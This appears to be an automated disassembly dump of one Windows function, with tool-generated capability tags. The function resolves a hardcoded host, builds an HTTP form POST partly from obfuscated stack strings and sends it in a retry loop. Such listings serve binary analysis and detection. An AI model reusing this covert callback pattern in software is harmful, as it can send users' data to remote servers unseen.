Function at 0x437590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create tcp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x508ab6
mov eax, dword fs:[0]
push eax
mov eax, 0x2190
call fcn.004e5300
mov eax, dword [0x543720]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x219c], ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2150], 0
mov dword [ebp - 0x214c], 0
mov dword [ebp - 0x2198], ecx
mov dword [ebp - 0x214c], 0xf
mov dword [ebp - 0x2150], 0
mov byte [ebp - 0x2160], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x2168], 0
mov dword [ebp - 0x2164], 0
mov dword [ebp - 0x2164], 0xf
mov dword [ebp - 0x2168], 0
mov byte [ebp - 0x2178], 0
mov byte [ebp - 4], 1
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x214c], 0x10
lea eax, [ebp - 0x2160]
mov dword [ebp - 0x2150], 0
cmovae eax, dword [ebp - 0x2160]
mov byte [eax], 0
lea eax, [ebp - 0x2178]
cmp dword [ebp - 0x2164], 0x10
mov dword [ebp - 0x2168], 0
cmovae eax, dword [ebp - 0x2178]
mov byte [eax], 0
cmp byte [ecx], 0
jne 0x43768c
xor eax, eax
jmp 0x4376a0
mov eax, ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x437691
mov ecx, dword [ebp - 0x2198]
sub eax, edx
push eax
push ecx
lea ecx, [ebp - 0x2160]
call fcn.00402090
push 0x7f
lea eax, [ebp - 0x147]
mov byte [ebp - 0x148], 0
push 0
push eax
call fcn.004e4b60
add esp, 0xc
lea eax, [ebp - 0x148]
push str.w.nanweng.cn
push 0x80
push eax
call fcn.004e2945
add esp, 0xc
push str.w.nanweng.cn
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x2194], eax
test eax, eax
je 0x437a62
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x437a95
xorps xmm0, xmm0
mov dword [ebp - 0x2182], 0
mov eax, 2
movq qword [ebp - 0x218a], xmm0
push 0x50
mov word [ebp - 0x217e], 0
mov word [ebp - 0x218c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x218a], ax
mov eax, dword [ebp - 0x2194]
push 0x10
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x2188], eax
lea eax, [ebp - 0x218c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x437a55
push 4
lea eax, [ebp - 0x217c]
mov dword [ebp - 0x217c], 0xbb8
push eax
push 0x1005
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x217c]
push eax
push 0x1006
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x2194], str._qy_sv
jle 0x43782f
push 0x7f
lea eax, [ebp - 0xc7]
mov dword [ebp - 0x2194], str._qy_ov
push 0
push eax
mov byte [ebp - 0xc8], 0
call fcn.004e4b60
add esp, 0xc
lea eax, [ebp - 0xc8]
push dword [ebp + 0xc]
push str.type_d
push eax
call fcn.00437f30
add esp, 0xc
cmp byte [ebp - 0xc8], 0
jne 0x43780a
xor ecx, ecx
jmp 0x43781c
lea ecx, [ebp - 0xc8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437813
sub ecx, edx
push ecx
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x2160]
call fcn.0040a330
cmp dword [ebp - 0x214c], 0x10
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x44], 0
lea eax, [ebp - 0x2160]
mov dword [ebp - 0x20], 0x75744e58
cmovae eax, dword [ebp - 0x2160]
xorps xmm0, xmm0
push ecx
mov ecx, dword [ebp - 0x219c]
push eax
movdqu xmmword [ebp - 0x43], xmm0
mov word [ebp - 0x1c], 0x4e52
movdqu xmmword [ebp - 0x33], xmm0
mov byte [ebp - 0x1a], 0
mov dword [ebp - 0x18], 0x67697326
mov word [ebp - 0x14], 0x3d
call fcn.00437d40
cmp byte [ebp - 0x18], 0
jne 0x437890
xor ecx, ecx
jmp 0x43789f
lea ecx, [ebp - 0x18]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437896
sub ecx, edx
push ecx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2160]
call fcn.0040a330
cmp byte [ebp - 0x44], 0
jne 0x4378b9
xor ecx, ecx
jmp 0x4378c9
lea ecx, [ebp - 0x44]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4378c0
sub ecx, edx
push ecx
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2160]
call fcn.0040a330
cmp dword [ebp - 0x214c], 0x10
lea ecx, [ebp - 0x2160]
lea edx, [ebp - 0x2190]
cmovae ecx, dword [ebp - 0x2160]
call fcn.004540e0
push 0x1fff
lea eax, [ebp - 0x2147]
mov byte [ebp - 0x2148], 0
push 0
push eax
call fcn.004e4b60
mov ecx, dword [ebp - 0x2190]
add esp, 0xc
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437920
sub ecx, edx
lea eax, [ebp - 0x148]
push ecx
push eax
push dword [ebp - 0x2194]
lea eax, [ebp - 0x2148]
push str.POST__s_HTTP_1.1_r_nHost:__s__r_nContent_Length:__d__r_nConnection:close_r_nAccept_Language:_zh_cn_r_nCache_Conbtrol:no_cache_r_nContent_Type:application_x_www_form_urlencoded_r_n_r_n
push eax
call fcn.0041f3d0
add esp, 0x14
cmp byte [ebp - 0x2148], 0
jne 0x437958
xor ecx, ecx
jmp 0x43796a
lea ecx, [ebp - 0x2148]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437961
sub ecx, edx
push ecx
lea eax, [ebp - 0x2148]
push eax
lea ecx, [ebp - 0x2178]
call fcn.00402090
mov eax, dword [ebp - 0x2190]
cmp byte [eax], 0
jne 0x43798c
xor ecx, ecx
jmp 0x4379a0
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437991
mov eax, dword [ebp - 0x2190]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x2178]
call fcn.0040a330
push 2
push 0x529e10
lea ecx, [ebp - 0x2178]
call fcn.0040a330
push dword [ebp - 0x2190]
call fcn.004e0c7a
add esp, 4
mov dword [ebp - 0x2190], 0x8123
jmp 0x4379e0
cmp dword [ebp - 0x2164], 0x10
lea eax, [ebp - 0x2178]
push 0
push dword [ebp - 0x2168]
cmovae eax, dword [ebp - 0x2178]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x437a55
cmp esi, 5
jg 0x437a90
push 0x2000
lea eax, [ebp - 0x2148]
push 0
push eax
call fcn.004e4b60
add esp, 0xc
lea eax, [ebp - 0x2148]
push 0
push 0x1000
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
push edi
test eax, eax
jg 0x437a7a
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x12c
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4379e0
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x12c
inc esi
call edi
cmp esi, 0xa
jg 0x437a90
mov ecx, dword [ebp - 0x2198]
jmp 0x437641
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [ebp - 0x2148]
push eax
call fcn.00437b30
mov esi, eax
jmp 0x437a97
or esi, 0xffffffff
jmp 0x437a97
xor esi, esi
mov byte [ebp - 4], 0
cmp dword [ebp - 0x2164], 0x10
jb 0x437ab2
push dword [ebp - 0x2178]
call fcn.004e03e4
add esp, 4
mov dword [ebp - 0x2164], 0xf
mov dword [ebp - 0x2168], 0
mov byte [ebp - 0x2178], 0
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x214c], 0x10
jb 0x437aeb
push dword [ebp - 0x2160]
call fcn.004e03e4
add esp, 4
mov dword [ebp - 0x214c], 0xf
mov eax, esi
mov dword [ebp - 0x2150], 0
mov byte [ebp - 0x2160], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e03e9
mov esp, ebp
pop ebp
ret 8